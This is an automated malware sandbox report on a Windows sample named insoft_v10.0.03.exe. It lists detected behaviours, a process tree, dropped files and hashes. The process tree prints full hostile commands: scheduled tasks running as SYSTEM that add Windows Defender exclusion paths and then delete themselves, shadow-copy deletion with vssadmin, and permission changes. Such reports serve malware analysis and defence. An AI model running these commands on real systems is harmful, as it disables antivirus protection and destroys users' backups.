Analysis

  • max time kernel
    147s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    16/08/2026, 04:25

General

  • Target
    insoft_v10.0.03.exe
  • Size 35.0MB
  • Sample260816-e2fctszcjd
  • SHA256 13d7179581beb7b362ea491ed34a5a378059b4b06d1b02ac291c8eaa82db8a9f
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • UAC bypass 3 TTPs 1 IoCs
  • Windows security bypass 2 TTPs 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 4 IoCs
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 8 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 4 IoCs
  • Suspicious use of WriteProcessMemory 27 IoCs
  • System policy modification 1 TTPs 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe
    "C:\Users\Admin\AppData\Local\Temp\insoft_v10.0.03.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:4620
  • C:\Users\Public\ZQHU79\AgnU0y.exe
    C:\Users\Public\ZQHU79\AgnU0y.exe
    1⤵
    • Checks computer location settings
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2904
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZQHU79\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:4908
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\ZQHU79\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2572
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:3640
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:4664
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:4992
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:2744
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:3568
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2664
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:176
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:660
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:4936
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:1108
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:2752
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3180
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3532
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:732
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:4224
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4840
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:684
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:1572
                        • C:\Program Files (x86)\Lr696Y\Lr696Y.exe
                          "C:\Program Files (x86)\Lr696Y\Lr696Y.exe"
                          2⤵
                          • UAC bypass
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • Adds Run key to start application
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          • System policy modification
                          PID:2440
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c vssadmin delete shadows /all /quiet
                            3⤵
                            • Executes a command shell one-liner
                            • System Location Discovery: System Language Discovery
                            PID:4408
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd.exe /c icacls "C:\Program Files (x86)\Lr696Y" /inheritance:r
                            3⤵
                            • Executes a command shell one-liner
                            PID:3828
                            • C:\Windows\SysWOW64\icacls.exe
                              icacls "C:\Program Files (x86)\Lr696Y" /inheritance:r
                              4⤵
                              • Modifies file permissions
                              PID:4396
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:2620
                          • C:\Windows\SysWOW64\cmd.exe
                            cmd /c echo.>c:\xxxx.ini
                            3⤵
                            • Executes a command shell one-liner
                            PID:2360
                      • C:\Windows\system32\cmd.exe
                        cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZQHU79" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:4128
                        • C:\Windows\system32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\ZQHU79" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:912
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:2172
                        • C:\Users\Public\ZQHU79\AgnU0y.exe
                          "C:\Users\Public\ZQHU79\AgnU0y.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          PID:2360
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2300
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:3756
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2112
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:1752
                        • C:\Windows\system32\cmd.exe
                          cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:2384
                          • C:\Windows\system32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:2104
                        • C:\Program Files (x86)\Lr696Y\Lr696Y.exe
                          "C:\Program Files (x86)\Lr696Y\Lr696Y.exe"
                          1⤵
                          • Executes dropped EXE
                          • Loads dropped DLL
                          • System Location Discovery: System Language Discovery
                          PID:2096
                        • C:\Program Files (x86)\PgPPxuh\cetP0.exe
                          "C:\Program Files (x86)\PgPPxuh\cetP0.exe"
                          1⤵
                            PID:3800

                          Network

                                MITRE ATT&CK Enterprise v16

                                Replay Monitor

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                                Downloads

                                Lr696Y.exe

                                • Path C:\Program Files (x86)\Lr696Y\Lr696Y.exe
                                • Size 145KB
                                • SHA256 6d6ba2bc9ad414837826f7278bc3e0116f1aeda02d0c2284ed65819f5d9180a8
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\Lr696Y\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 eba1de8507d10ad026ef8a4573be4c4c5499fc886fbc6d982464b4a53f8a39df
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                image.png

                                • Path C:\Program Files (x86)\Lr696Y\image.png
                                • Size 5.0MB
                                • SHA256 8fe10033ddfc2f78bb02e976409c4a8d6a28d7b28fc47c26b37ca66eceda0a54
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                thumbs.db

                                • Path C:\Program Files (x86)\Lr696Y\thumbs.db
                                • Size 358KB
                                • SHA256 737c3468cd61a31b19f66df22b02dd4cf613586604d9f4546bcc3d5a88609148
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                XPSPLOG.dll

                                • Path C:\Program Files (x86)\PgPPxuh\XPSPLOG.dll
                                • Size 4.6MB
                                • SHA256 17ce6d9fce9f4e086246eda568cf67365ce466017be66f1b706f75ac6be0ffac
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                destopbak.ini

                                • Path C:\Users\Public\Music\destopbak.ini
                                • Size 2B
                                • SHA256 dd1e2826c0124a6d4f7397a5a71f633928926c0608b62fb9e615ba778acc39ff
                                • MD5 SHA1 SHA512

                                AgnU0y.exe

                                • Path C:\Users\Public\ZQHU79\AgnU0y.exe
                                • Size 135KB
                                • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                UxEnhance64.dll

                                • Path C:\Users\Public\ZQHU79\UxEnhance64.dll
                                • Size 3.1MB
                                • SHA256 aa2a8b290c17dcba41e62b0d89c96223a2f371ee16b0eb39f0c041485e9d19b3
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                adoresd.dat

                                • Path C:\Users\Public\ZQHU79\adoresd.dat
                                • Size 4.7MB
                                • SHA256 eef544634063a51ec4ca7b046e5dfd984b8a46f2086a1c6a29c11d85bfce5fd2
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                msadox.tb

                                • Path C:\Users\Public\ZQHU79\msadox.tb
                                • Size 8KB
                                • SHA256 8036d5b2af08e87e609f4283e151eab593ed021865246577c7b9d76c45989d92
                                • MD5 SHA1 SHA512 SSDEEP TLSH

                                memory/2096-723-0x0000000074AD0000-0x000000007521A000-memory.dmp

                                memory/2096-722-0x0000000000B90000-0x0000000000B91000-memory.dmp

                                memory/2096-726-0x0000000003190000-0x0000000003993000-memory.dmp

                                memory/2360-578-0x00007FF9F0E70000-0x00007FF9F138E000-memory.dmp

                                memory/2360-585-0x00007FFA0FB80000-0x00007FFA0FB82000-memory.dmp

                                memory/2360-591-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2360-593-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2360-594-0x00007FFA0FB70000-0x00007FFA0FB72000-memory.dmp

                                memory/2360-592-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2360-590-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2360-586-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2360-581-0x00000241C9150000-0x00000241C99D7000-memory.dmp

                                memory/2440-666-0x0000000074AD0000-0x000000007521A000-memory.dmp

                                memory/2440-674-0x0000000002F40000-0x0000000003743000-memory.dmp

                                memory/2440-713-0x0000000002F40000-0x0000000003743000-memory.dmp

                                memory/2440-689-0x0000000010000000-0x0000000010061000-memory.dmp

                                memory/2440-686-0x0000000002F40000-0x0000000003743000-memory.dmp

                                memory/2440-684-0x0000000004940000-0x0000000004954000-memory.dmp

                                memory/2440-677-0x0000000002F40000-0x0000000003743000-memory.dmp

                                memory/2440-672-0x0000000000890000-0x0000000000891000-memory.dmp

                                memory/2440-670-0x0000000002F40000-0x0000000003743000-memory.dmp

                                memory/2440-665-0x0000000000860000-0x0000000000861000-memory.dmp

                                memory/2904-535-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-557-0x000002A633660000-0x000002A6336EA000-memory.dmp

                                memory/2904-543-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-544-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-542-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-538-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-529-0x00007FFA0FB70000-0x00007FFA0FB72000-memory.dmp

                                memory/2904-564-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-549-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-554-0x000002A633200000-0x000002A63324E000-memory.dmp

                                memory/2904-545-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/2904-537-0x00007FFA0FB80000-0x00007FFA0FB82000-memory.dmp

                                memory/2904-558-0x000002A633660000-0x000002A6336EA000-memory.dmp

                                memory/2904-556-0x000002A633660000-0x000002A6336EA000-memory.dmp

                                memory/2904-530-0x00007FF9F0E70000-0x00007FF9F138E000-memory.dmp

                                memory/2904-555-0x000002A633660000-0x000002A6336EA000-memory.dmp

                                memory/2904-563-0x000002A632970000-0x000002A6331F7000-memory.dmp

                                memory/4620-0-0x00000000001F0000-0x00000000001FE000-memory.dmp

                                memory/4620-523-0x00000000001F0000-0x00000000001FE000-memory.dmp

                                memory/4620-524-0x00007FFA00EE0000-0x00007FFA00EF0000-memory.dmp

                                memory/4620-503-0x00007FFA00EE0000-0x00007FFA00EF0000-memory.dmp

                                memory/4620-1-0x0000000000510000-0x000000000051C000-memory.dmp